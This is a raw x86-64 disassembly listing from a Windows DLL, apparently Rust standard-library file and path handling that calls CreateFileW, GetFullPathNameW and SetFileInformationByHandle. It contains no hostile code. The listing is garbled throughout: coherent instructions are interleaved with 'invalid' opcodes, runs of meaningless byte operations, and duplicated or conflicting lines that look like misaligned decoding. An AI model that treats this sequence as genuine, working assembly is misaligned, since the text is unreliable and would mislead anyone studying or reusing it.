call qword [sym.imp.KERNEL32.dll_CreateFileW]
add byte [rax - 0x7d], cl
clc
push qword [rsp + riz*2 + 0x48]
mov edx, eax
cmp rax, 0xffffffffffffffff
je 0x18004a9f8
mov rdx, rax
cmp ebx, 4
mov rbx, rax
add al, 0x48
mov ebx, eax
jne 0x18004a9dc
cmp eax, 0x237f80
cmp byte [rdi + 0x23], 0
jg 0x18004a9c5
add byte [rdi + rsi - 1], dh
adc eax, 0x216dd
je 0x18004a9dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
cmp eax, 0xb7
mov bh, 0
add byte [rax], al
mov bh, 0
add byte [rax], al
jne 0x18004a9dc
invalid
mov qword [rbp - 0x18], 0
lea r8, [rbp - 0x18]
call 0x13ad6330d
invalid
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x45], cl
call 0x13ad6330d
call 0x13ad6330d
invalid
add byte [rax], al
mov r9d, 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, bh
adc eax, 0x2174b
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x18004aa3a
mov rdx, rbx
mov edx, ebx
test r14, r14
je case.0x18001c9bf.1058
mov edx, 2
mov rcx, rsi
call fcn.18001b8e0
mov rdx, rbx
xor eax, eax
jmp 0x18004a873
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
test r14, r14
je 0x18004a873
mov rdi, rdx
mov edx, 2
mov rcx, rsi
call fcn.18001b8e0
mov eax, 1
mov rdx, rdi
jmp 0x18004a873
xor eax, eax
jmp 0x18004a873
invalid
shr cl, 0x39
invalid
invalid
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
iretd
add cl, byte [rax - 0x77]
invalid
iretd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add byte [rax], al
add byte [rbp - 0x7b], cl
div byte [rbp - 0x44]
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
div byte [rbp - 0x44]
invalid
mov esp, 0x55cccceb
jmp 0x18004aa2b
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
invalid
invalid
dec dword [rax - 0x75]
pop rdx
or byte [rax - 0x75], cl
adc byte [rax - 0x7d], cl
cmp eax, 3
add byte [rax], 0
add byte [rax - 0x39], cl
test dword [rax], esp
add al, 0
add dh, bh
invalid
cmp eax, 3
jbe 0x18004aacf
cmp ecx, dword [rcx - 0x47]
pop rsp
add byte [rax + rax + 0x3f], bl
add byte [rax + rax + 0x4c], bl
invalid
movabs r9, 0x5c003f005c005c
cmp qword [rbx], r9
cmp dword [rbx], ecx
je case.0x18001c9bf.1035
movabs r9, 0x5c003f003f005c
invalid
add byte [rax + rax + 0x4c], bl
cmp dword [rbx], ecx
cmp qword [rbx], r9
je case.0x18001c9bf.1035
cmp rax, 0xf8
jae 0x18004ab44
invalid
invalid
add byte [rax], al
invalid
add dword [rdx + 0x66000000], 0xffffff83
jnp 0x18004aac8
invalid
cmp word [rbx + 2], 0x3a
add bh, byte [rdx]
cmp dh, byte [rbp + 0x49]
jne 0x18004ab12
movzx rax, word [r11 + 4]
movzx eax, word [rbx + 4]
add al, 0xeb
and al, 0x74
jmp 0x18004aaf3
je 0x18004aadf
invalid
cmp rax, 1
jne case.0x180045d94.498
cmp word [rbx], 0
jne 0x18004ab44
jmp case.0x18001c9bf.1035
cmp word [rbx + 2], 0x3a
cmp dword [rbx + 2], 0x3a
jnp 0x18004aae5
cmp dh, byte [rbp + 0x2c]
jne 0x18004ab12
sub al, 0xf
mov bh, 0x43
add al, 0x66
movzx eax, word [rbx + 4]
test ax, ax
test eax, eax
test eax, eax
je case.0x18000b703.1102
cmp ax, 0x2f
cmp eax, 0x2f
je 0x18004ab01
movzx eax, ax
cmp eax, 0x5c
clc
pop rsp
clc
pop rsp
jne 0x18004ab12
movzx eax, word [rbx]
cmp eax, 0x2f
invalid
add eax, dword [rbx + 0xc742ff8]
invalid
je 0x18004ab15
cmp eax, 0x5c
je 0x18004ab15
invalid
invalid
jmp case.0x18001c9bf.1035
jbe 0x18004ab44
xor cl, byte [rdi]
mov bh, 3
movzx eax, word [rbx]
cmp ax, 0x5c
je 0x18004ab23
or byte [rdi], cl
mov bh, 0xc0
invalid
movzx eax, ax
rol byte [rbx + 0x21752ff8], 0xf
cmp eax, 0x2f
jne 0x18004ab44
movzx eax, word [rbx + 2]
cmp eax, 0x5c
pop rsp
mov bh, 0x43
add al, byte [rbx + 0x5745cf8]
pop rsp
je case.0x18001c9bf.1035
pop rsp
je case.0x18001c9bf.1035
cmp eax, 0x2f
jne 0x18004ab44
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
adc byte [rdi], cl
adc byte [rdx], al
adc byte [rdi], cl
adc byte [rdx], al
movups xmmword [rcx], xmm0
jmp 0x18004af94
mov qword [rbp + 0x3c0], rbx
mov qword [rbp + 0x3d0], rcx
mov dword [rbp + 0x3d0], ecx
mov dword [rbp + 0x3d0], ecx
invalid
mov qword [rbp + 0x408], rdx
add byte [rax], al
add byte [rax + rcx*4 - 0x7b], al
invalid
mov byte [rbp + 0x41f], r8b
mov qword [rbp + 0x3f0], 0
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
invalid
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test eax, edi
mov qword [rbp + 0x3f8], 2
add eax, dword [rax]
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
invalid
invalid
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x400], 0
mov r8d, 0x200
invalid
test dword [rax], eax
add al, 0
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
invalid
add byte [rax + 2], bh
mov eax, 2
mov qword [rbp + 0x3c8], rax
mov dword [rbp + 0x3c8], eax
xor edi, edi
mov ebx, 0xffffffff
invalid
xor r14d, r14d
xor r15d, r15d
cmp r8, 0x201
jae 0x18004abd0
invalid
invalid
jmp 0x18004abbf
jae 0x18004aca0
cmp r8, 0x201
jae 0x18004abd0
mov r12d, 0x200
lea rsi, [rbp - 0x58]
mov r13, r8
jmp 0x18004ac23
sub r8, r15
sub r14, r15
cmp r14, r8
jae 0x18004abff
add byte [rcx + rcx*4 - 6], cl
call fcn.18006a570
mov rdi, qword [rbp + 0x3f0]
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x3c8], rax
add eax, dword [rax]
add byte [rax + 0x39], cl
fild word [rcx - 0x41]
invalid
invalid
invalid
dec dword [rdi + rcx + 0x42]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
test eax, ecx
add eax, dword [rax]
add byte [rax + 0x39], cl
fild word [rcx - 0x41]
invalid
mov qword [rbp + 0x400], r15
add byte [rax + rax], al
add al, 0
add byte [rax], al
add byte [rcx - 0x77], cl
dec byte [rbp - 0x77]
cld
mov r14, rdi
mov r12, r15
mov rsi, qword [rbp + 0x3c8]
mov ch, 0xc8
add eax, dword [rax]
add byte [rbp - 0x77], cl
std
mov r13, r15
mov ebp, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x3c0]
mov edx, r13d
mov edx, ebp
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x16], al
mov edx, ebp
mov edx, ebp
mov qword [rbp + 0x410], rsi
mov dword [rbp + 0x410], esi
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r8, rsi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
adc eax, 0x214e0
adc eax, 0x214e0
add al, byte [rax]
mov esi, eax
mov byte [rbp - 0xf18a40], 0x15
xor al, 0x14
add al, byte [rax]
test eax, eax
jne 0x18004ac5c
sal byte [rbp + 0xe], 0xff
adc eax, 0x21434
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x18004acf5
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], al
invalid
add byte [rax], al
mov r8d, esi
cmp r13, r8
jne 0x18004abb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
adc eax, 0x2141a
cmp eax, 0x7a
jne 0x18004b04f
clc
jp 0x18004ac81
test eax, ebx
add eax, dword [rax]
add byte [rbp + 1], cl
in eax, dx
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
mov ebx, 0xffffffff
cmovae r13, rax
cmovae ebp, eax
invalid
cmovae ebp, eax
call 0x1c9ed35dc
cmp eax, 0x201
add byte [rax], al
mov r8, r13
cmp r8, 0x201
add byte [rax], al
add byte [rax], al
jb 0x18004abbf
invalid
jmp 0x18004abd0
cmp r12, r8
jb 0x18004b069
add byte [rbx + rcx*4 - 0x5b], cl
or byte [rax + rax], al
add al, 0
mov r12, qword [rbp + 0x408]
mov qword [r12 + 0x10], 0
and al, 0x10
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rcx - 0x39], cl
and al, 0x10
and al, 0x10
and al, 0x10
add byte [rax], al
add byte [rax], al
cmp byte [rbp + 0x41f], 0
mov rbx, qword [rbp + 0x3c0]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
popfq
rol byte [rbx], 0
add byte [rax], al
je 0x18004ad5c
cmp esi, 2
add byte [rax], al
je 0x18004ad5c
cmp esi, 2
ja 0x18004ad68
add byte [rdi], cl
test ebx, esi
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
adc byte [rax + rax], al
add byte [rax], al
movzx ecx, word [rdx]
jne case.0x180046113.887
mov rdx, qword [rbp + 0x410]
add byte [rax], al
movzx ecx, word [rdx]
cmp cx, 0x5c
pop rsp
je 0x18004ada7
jmp case.0x180046113.887
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
cmp qword [rbp + 0x3f0], 0
je 0x18004ad20
mov rcx, qword [rbp + 0x3f8]
mov edx, 2
call fcn.18001b8e0
mov rcx, qword [rbp + 0x3d0]
mov qword [rcx + 8], rsi
movabs rax, 0x8000000000000000
mov qword [rcx], rax
mov rax, qword [rbp + 0x408]
cmp qword [rax], 0
je 0x18004af94
mov rcx, qword [rax + 8]
mov edx, 2
call fcn.18001b8e0
jmp 0x18004af94
cmp esi, 0xf6
jbe 0x18004ae1c
mov rcx, qword [rbp + 0x410]
movzx eax, word [rcx + 2]
cmp eax, 0x3a
jne 0x18004ad8e
cmp word [rcx + 4], 0x5c
jne 0x18004ad8e
lea r15, [0x18007e978]
mov r14d, 4
jmp 0x18004add9
invalid
movzx rcx, word [r9]
movzx ecx, word [rcx]
cmp esi, 3
jne 0x18004ae31
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0x410]
adc byte [rax + rax], al
add byte [rsi - 0x7d], ah
cmp cx, 0x5c
cmp cx, 0x5c
jne case.0x180046113.887
movzx eax, word [rdx + 2]
cmp ax, 0x5c
cmp eax, 0x5c
mov bh, 0x42
add ah, byte [rsi - 0x7d]
invalid
cmp eax, 0x5c
clc
pop rsp
jne case.0x180046113.887
add r8, 0xfffffffffffffffe
add rdx, 4
ret 0x4804
mov dword [rbp + 0x410], edx
adc byte [rax + rax], al
invalid
ret 0x4804
add al, 0x48
mov dword [rbp + 0x410], edx
adc byte [rax + rax], al
invalid
adc byte [rax + rax], al
add al, 0
add byte [rbp + rcx*4 + 0x3d], cl
mov ecx, 0x4100033b
mov r14d, 8
lea r15, [0x18007e980]
mov r14d, 8
add byte [rax], al
add bl, ch
or cl, byte [rbp + rcx*4 + 0x3d]
invalid
invalid
invalid
jmp 0x18004add9
lea r15, [0x180081690]
mov edx, 0x45000368
xor r14d, r14d
xor esi, esi
lea rsi, [r8 + r14]
xor al, 0x30
inc rsi
mov rcx, qword [r12]
mov ecx, dword [rsp]
invalid
mov ecx, dword [rsp]
or al, 0x24
cmp rcx, rsi
int1
jae 0x18004ae11
sub byte [rax - 0x73], cl
lea rax, [rsi + rsi]
add al, 0x36
mov rdi, r8
test rcx, rcx
leave
invalid
leave
je 0x18004ae88
add byte [rax], al
add byte [rax + 1], cl
leave
add rcx, rcx
mov qword [rbp + 0x3a8], rbx
mov dword [rbp + 0x3a8], ebx
mov qword [rbp + 0x3b8], rcx
mov ecx, 2
mov eax, 0xb9000003
add al, byte [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rcx + 2], bh
jmp 0x18004ae8a
mov rdi, r8
mov rsi, rcx
jmp 0x18004aeca
invalid
add byte [rcx - 0x75], cl
xor al, 0x24
invalid
mov rsi, qword [r12]
and al, 0x4c
cmp esi, eax
invalid
cmp rsi, r8
invalid
jbe 0x18004afa8
xor r14d, r14d
jmp 0x18004aee1
lea r15, [0x180081690]
add eax, dword [rax]
cmp cx, 0x5c
jne 0x18004add6
cmp eax, 0x3f
je 0x18004add6
cmp eax, 0x5c
mov rdx, qword [rbp + 0x410]
jne 0x18004adab
xchg ebp, eax
adc byte [rax + rax], al
add cl, ch
idiv esi
invalid
push qword [rcx]
leave
xor ecx, ecx
mov qword [rbp + 0x3b0], rcx
lea rcx, [rbp + 0x3d8]
lea ecx, [rbp + 0x3d8]
lea ecx, [rbp + 0x3d8]
lea r9, [rbp + 0x3a8]
mov edx, 2
mov r8, rax
call fcn.180044da0
cmp qword [rbp + 0x3d8], 0
jne case.0x180046f5f.125
mov rbx, qword [rbp + 0x3e0]
mov qword [r12 + 8], rbx
mov qword [r12], rsi
lea r8d, [r14 + r14]
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov rdx, r15
call fcn.180068d66
mov qword [r12 + 0x10], r14
mov r8, rdi
mov rax, rsi
sub rax, r14
cmp rax, r8
jae 0x18004af12
invalid
mov rcx, r12
mov rcx, r12
mov rdx, r14
mov rdi, r8
mov edi, eax
mov edi, eax
call fcn.18006a570
mov r12, qword [rbp + 0x408]
mov r14, qword [r12 + 0x10]
mov rsi, qword [r12]
mov rbx, qword [r12 + 8]
mov r8, rdi
lea rax, [r8 + r8]
lea rcx, [rbx + r14*2]
mov rdx, qword [rbp + 0x410]
mov rdi, r8
mov r8, rax
mov eax, eax
call fcn.180068d66
add r14, rdi
mov qword [r12 + 0x10], r14
cmp r14, rsi
jne 0x18004af52
mov rcx, r12
mov ecx, esp
loope 0x18004af25
call fcn.1800489e0
mov r12, qword [rbp + 0x408]
mov rbx, qword [r12 + 8]
mov r14, qword [r12 + 0x10]
lahf
invalid
mov word [rbx + r14*2], 0
add byte [rax], al
inc r14
mov qword [r12 + 0x10], r14
cmp qword [rbp + 0x3f0], 0
mov rsi, qword [rbp + 0x3d0]
je 0x18004af83
mov rcx, qword [rbp + 0x3f8]
mov edx, 2
add eax, dword [rax]
add byte [rdx + 2], bh
call fcn.18001b8e0
mov rax, qword [r12 + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [r12]
movups xmmword [rsi], xmm0
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdi, [r8 + 1]
lea rax, [rdi + rdi]
test rsi, rsi
invalid
je 0x18004afed
div byte [rax + rdi + 0x48]
mov ecx, ebx
invalid
mov rcx, rbx
invalid
mov rbx, r8
add rsi, rsi
mov qword [rbp + 0x3a8], rcx
mov qword [rbp + 0x3b8], rsi
mov ch, 0xb8
add eax, dword [rax]
invalid
mov ch, 0xb8
add eax, dword [rax]
add byte [rcx + 2], bh
mov ecx, 2
mov ecx, 2
jmp 0x18004aff2
movzx eax, word [rbx]
cmp eax, 0x2f
je 0x18004ab12
cmp eax, 0x5c
je 0x18004ab12
sub bh, bl
invalid
invalid
invalid
jmp case.0x18001c9bf.1035
mov rbx, r8
xor ecx, ecx
mov qword [rbp + 0x3b0], rcx
lea rcx, [rbp + 0x3d8]
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x73], cl
test al, 3
add byte [rax], al
lea r9, [rbp + 0x3a8]
mov edx, 2
mov r8, rax
call fcn.180044da0
cmp qword [rbp + 0x3d8], 0
add byte [rbp + 0x77], dh
jne 0x18004b095
mov rax, qword [rbp + 0x3e0]
mov qword [r12 + 8], rax
and al, 8
add byte [rcx - 0x77], cl
and al, 8
and al, 8
mov qword [r12], rdi
mov dword [rsp], edi
xor r14d, r14d
xor esi, esi
test byte [rax - 0x77], 0xfe
mov rsi, rdi
mov r8, rbx
mov rbx, rax
mov ebx, eax
mov ebx, eax
jmp 0x18004aee1
cmp word [rdx + 6], 0x5c
pop rsp
jne case.0x18002b117.875
jmp 0x18004add6
xchg ebp, edi
std
invalid
lea rcx, str.internal_error:_entered_unreachable_code
add eax, dword [eax]
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
add eax, dword [rax]
mov edx, 0x28
add byte [rax], al
add al, ch
mov ecx, 0xeb0001e7
jmp 0x18004b0a8
add byte [rax], al
call fcn.180069820
jmp 0x18004b0a8
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
lea eax, [0x18007e8d0]
mov rcx, r8
mov rdx, r12
mov r8, rax
mov eax, eax
mov eax, eax
call fcn.180069810
jmp 0x18004b0a8
xchg edx, eax
out 1, eax
add bl, ch
sub byte [rax - 0x75], cl
invalid
invalid
invalid
mov rcx, qword [rbp + 0x3e0]
mov rdx, qword [rbp + 0x3e8]
add eax, dword [rax]
add al, ch
insd dword [rdi], dx
in eax, 1
invalid
jmp 0x18004b0a8
mov rcx, qword [rbp + 0x3e0]
mov rdx, qword [rbp + 0x3e8]
call fcn.180069600
pop rax
in eax, 1
invalid
add eax, dword [rax]
add al, ch
pop rax
in eax, 1
add byte [rdi], cl
or esp, dword [rsi + 0xf]
invalid
ud2
add byte [rax - 0x77], cl
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3f0
lock add eax, dword [rax]
add byte [rax], al
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3f0
lock add eax, dword [rax]
add byte [rax], al
je case.0x180047745.118
mov rcx, qword [rbp + 0x3f8]
lock add eax, dword [rax]
add byte [rax], al
je case.0x180047745.118
mov rcx, qword [rbp + 0x3f8]
add byte [rdx + 2], bh
mov edx, 2
add byte [rax], al
add al, ch
invalid
call fcn.18001b8e0
stc
invalid
mov rax, qword [rbp + 0x408]
mov eax, dword [rbp + 0x408]
cmp qword [rax], 0
cmp byte [rax], al
je 0x18004b109
mov rax, qword [rbp + 0x408]
add al, 0
add byte [rax - 0x75], cl
mov rcx, qword [rax + 8]
mov edx, 2
mov rcx, qword [rax + 8]
mov ecx, dword [rax + 8]
mov edx, 2
add al, ch
xlatb
invalid
call fcn.18001b8e0
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
invalid
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
int3
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x1b8
in al, dx
mov eax, 0x48000001
lea ebp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
invalid
in al, dx
mov eax, 0x48000001
lea ebp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rbp + 0x130], 0xfffffffffffffffe
mov dword [rbp + 0x130], 0xfffffffe
test dword [rax], esi
add dword [rax], eax
add dh, bh
invalid
xor byte [rcx], al
add byte [rax], al
invalid
invalid
dec dword [rbp - 0x77]
invalid
mov r13, r8
mov ebp, eax
mov rsi, rdx
mov rbx, rcx
mov r15, qword [rcx + 8]
jns 0x18004b15b
jns 0x18004b15b
mov r14, qword [rcx + 0x10]
test r14, r14
test esi, esi
test byte [rcx + rcx*4 - 0x43], 8
add dword [rax], eax
mov qword [rbp + 0x108], r15
mov dword [rbp + 0x108], edi
add byte [rdi + rbx*2 + 0x48], dh
mov edi, esi
je 0x18004b1c2
mov rdi, rsi
mov rsi, r13
out dx, al
mov r13, rbx
movzx eax, byte [r14 + r15 - 1]
invalid
invalid
cmp al, 0x2f
invalid
fld qword [rbx + 0xf]
mov dh, 0x44
invalid
invalid
setne r12b
setne ah
cmp al, 0x5c
setne bl
xchg ebp, eax
ret
xchg ebp, eax
ret
lea rcx, [rbp + 0xc0]
add byte [rax], al
mov rdx, r15
mov r8, r14
call fcn.180047840
movzx r8d, byte [rbp + 0xc0]
movzx eax, byte [rbp + 0xc0]
movzx eax, byte [rbp + 0xc0]
mov dh, 0x85
rol byte [rax], 0
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xc0
movzx eax, r8b
movzx eax, al
mov r10, qword [rbp + 0xd0]
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x73], cl
loopne 0x18004b1a7
mov r9, qword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
add byte [rax], al
lea rcx, [0x18008334c]
or eax, 0x3819c
pushfq
add dword [rbx], 0x14634800
or dword [rax + 1], 0xf9894cca
add rdx, rcx
mov rcx, r15
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
mov rcx, r15
jmp rdx
loop case.0x18006683b.83
lea rcx, [r10 + 4]
lea ecx, [rdx + 4]
jmp case.0x1800484d2.77
mov dil, 6
xor r15d, r15d
inc dword [rbp + 0x31]
invalid
invalid
inc dword [rbp + 0x31]
in al, 0xe9
xor esp, esp
jmp 0x18004b2ee
invalid
lea rcx, [r9 + 1]
test r9, r9
leave
leave
cmove rcx, r9
add rcx, r10
add rcx, 8
jmp case.0x1800484d2.77
mov ecx, 6
jmp case.0x1800484d2.77
invalid
add byte [rax], al
add bl, ch
sbb dword [rcx - 0x73], ecx
lea rcx, [r9 + 1]
test r9, r9
lea rcx, [r9 + 1]
test r9, r9
cmove rcx, r9
add rcx, r10
add rcx, 2
jmp case.0x1800484d2.77
mov ecx, 2
add al, byte [rax]
add byte [rax], al
cmp rcx, r14
int1
ja case.default.0x18004bb8b
jne case.0x18006683b.95
xor r11d, r11d
jmp 0x18004b22a
add rcx, r15
stc
movzx ecx, byte [rcx]
cmp cl, 0x2f
invalid
sete dl
cmp cl, 0x5c
sete r11b
ret
or r11b, dl
or dword [rax - 0x6bf0d007], eax
ret 0xf980
invalid
ret
and r12b, bl
mov rcx, qword [rbp + 0xc1]
mov rdx, qword [rbp + 0xc8]
mov qword [rbp + 0x3f], rdx
mov qword [rbp + 0x38], rcx
mov rcx, qword [rbp + 0xd8]
add byte [rax], al
add byte [rax - 0x77], cl
push rbp
invalid
add byte [rax], al
mov qword [rbp + 0x28], rcx
sub byte [rcx + 0xd8d48c0], cl
adc dword [rcx + 0x63480003], eax
add byte [rax + 0x63], cl
mov eax, eax
lea rcx, [0x180083368]
invalid
add dword [rbx], 0x14634800
or dword [rax + 1], 0xeb894cca
retf 0x894c
invalid
add byte [rax + 0x63], cl
movsxd rdx, dword [rcx + rax*4]
invalid
adc al, 0x81
add rdx, rcx
retf 0x894c
mov rbx, r13
mov r13, rsi
cmc
mov rsi, rdi
mov esi, edi
mov qword [rbp + 0xb8], r9
mov qword [rbp + 0x20], r10
push rbp
and bh, bh
jmp rdx
push rbp
and bh, bh
jmp rdx
invalid
lea rcx, [r10 + 4]
lea ecx, [rdx + 4]
test rcx, rcx
jne case.0x18002ac81.919
invalid
xor ch, bl
jmp case.0x180047e31.105
lea rcx, [r9 + 1]
lea rcx, [r9 + 1]
add qword [r13 - 0x7b], rcx
leave
test r9, r9
test ecx, ecx
cmove rcx, r9
cmove ecx, ecx
leave
add rcx, r10
add rcx, 8
add ecx, 8
ror dword [rax - 0x7d], 1
ror dword [rax], 0x48
or byte [rax - 0x7b], cl
leave
add ecx, 8
or byte [rax - 0x7b], cl
leave
test rcx, rcx
jne case.0x18002ac81.919
jmp case.0x180047e31.105
lea rcx, [r9 + 1]
test r9, r9
leave
cmove rcx, r9
add rcx, r10
add ecx, edx
add rcx, 2
test rcx, rcx
leave
rol dword [rdx], 0x48
test ecx, ecx
leave
leave
je case.0x180047e31.105
lea rcx, [0x180083384]
add byte [rbx], 0
add eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
loopne 0x18004b309
lea rax, [r10 + 4]
lea eax, [rdx + 4]
cmp rax, r14
je case.0x18002ac81.921
mov r15d, r11d
mov edi, ebx
fild word [rcx + rcx*4 - 0x39]
mov edi, r8d
jmp 0x18004b2ee
mov eax, 6
add byte [rax], al
add byte [rcx + rdi - 0x10], cl
cmp rax, r14
jne case.0x180047e31.105
mov r15d, r11d
xor eax, eax
mov edi, r8d
cmp r8b, 5
add eax, 0xe4b60f45
add eax, 0xe4b60f45
mov dh, 0xe4
cmove r12d, eax
loopne 0x18004b337
mov rcx, rsi
mov ecx, esi
mov rdx, r13
call fcn.180047700
test al, al
jne case.default.0x18004b336
inc dword [rax + rax*8 + 0x89850f]
add byte [rax], al
lea rcx, [rbp + 0xc0]
invalid
mov rdx, rsi
mov edx, esi
mov r8, r13
call fcn.180047840
movzx edx, byte [rbp + 0xc0]
mov dh, 0x95
rol byte [rax], 0
invalid
mov dh, 0x95
xchg ebp, eax
rol byte [rax], 0
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rbp + 0xd0]
invalid
rol byte [rax], 1
add byte [rax], al
mov rax, qword [rbp + 0xe0]
mov eax, dword [rbp + 0xe0]
loopne 0x18004b326
add byte [rax], al
lea r8, [0x180083398]
movsxd rdx, dword [r8 + rdx*4]
invalid
adc al, 0x90
invalid
adc al, 0x90
add rdx, r8
jmp rdx
loop case.0x1800484d2.84
add rcx, 4
add ecx, 4
jmp case.0x1800484d2.84
mov eax, 2
cmp rax, r14
je case.0x18002ac81.921
jmp case.0x180047e31.105
dec dword [rax - 0x73]
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
jmp case.0x1800484d2.84
mov ecx, 6
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
add ecx, 2
jmp case.0x1800484d2.84
mov ecx, 6
jmp case.0x1800484d2.84
lea rdx, [rax + 1]
lea edx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp case.0x1800484d2.84
mov ecx, 2
cmp rcx, r13
ja 0x18004bbec
xchg dword [rdx + 8], esp
add byte [rax], al
xchg dword [rdx + 8], esp
add byte [rax], al
mov qword [rbx + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, rsi
mov r8, r13
call fcn.18004a5d0
invalid
invalid
invalid
invalid
nop
add rsp, 0x1b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp dil, 3
cmp bh, 3
jae 0x18004b488
leave
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x108]
mov qword [rbp - 0x20], rax
invalid
mov rax, qword [rbp + 0x108]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], r14
jne 0x18004b3b6
mov dword [rbp - 0x18], esi
jne 0x18004b3b6
mov byte [rbp - 0x10], dil
mov rax, qword [rbp + 0x38]
cmp byte [rax - 0x75], cl
invalid
invalid
mov qword [rbp - 0xf], rax
int1
int1
mov qword [rbp - 8], rcx
mov rax, qword [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
or byte [rax - 0x75], cl
test dword [rax + 0x48000000], edi
mov eax, dword [rbp + 0xb8]
add byte [rax - 0x77], cl
adc byte [r14 - 0x39], r12b
sbb byte [r8], r8b
add byte [rdx], al
mov byte [rbp + 0x1a], r15b
lea rcx, [rbp - 0x58]
test al, 0x48
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x10], eax
mov word [rbp + 0x18], 0x200
add byte [rdx], al
mov byte [rbp + 0x1a], r15b
lea rcx, [rbp - 0x58]
test al, 0x48
lea edx, [rbp - 0x20]
test al, 0x48
lea edx, [rbp - 0x20]
push rbp
loopne 0x18004b3f8
call fcn.180047ce0
cmp byte [rbp - 0x58], 0xa
mov qword [rbp + 0x30], rbx
int3
enter 0xffffffffffffffff, 0xffffffffffffff80
jge case.default.0x18004b4ce
inc dword [rax + 0x480aa87d]
mov dword [rbp + 0x30], ebx
or cl, byte [rax - 0x77]
pop rbp
xor byte [rdi], cl
jne 0x18004b4da
test dword [rax + 0x48000000], edi
mov dword [rbp + 0x110], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
mov qword [rbp + 0x110], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax], ebx
sbb byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
invalid
